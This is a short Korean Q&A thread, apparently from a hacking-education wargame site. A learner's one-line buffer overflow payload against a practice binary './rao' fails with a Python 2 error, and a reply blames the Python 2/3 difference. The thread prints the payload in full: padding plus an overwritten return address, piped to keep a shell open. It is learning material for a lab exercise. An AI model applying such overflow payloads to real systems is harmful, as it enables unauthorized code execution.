완료됨
exploit 질문

(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao를 입력했는데 왜 아래처럼 오류가 뜰까요..?

Input: Traceback (most recent call last):
File "<string>", line 1, in <module>
AttributeError: 'file' object has no attribute 'buffer'

#시스템_해킹 #공격기법 #buffer_overflow
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 2
leginwos
대표 업적 없음

image.png

(python3 -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao처럼 입력하고 파이썬3로 다시 설치했는데 왜 이럴까요??

2023.06.27. 16:47
avatar
wyv3rn
무플 방지 위원회장

싱글 라인 페이로드(?!) 오랜만이네요
파이썬 2와 3의 차이 때문인 것 같습니다

https://stackoverflow.com/questions/47741508/fixing-attributeerror-file-object-has-no-attribute-buffer-python3

참고하시면 좋을 것 같아요

2023.06.27. 16:03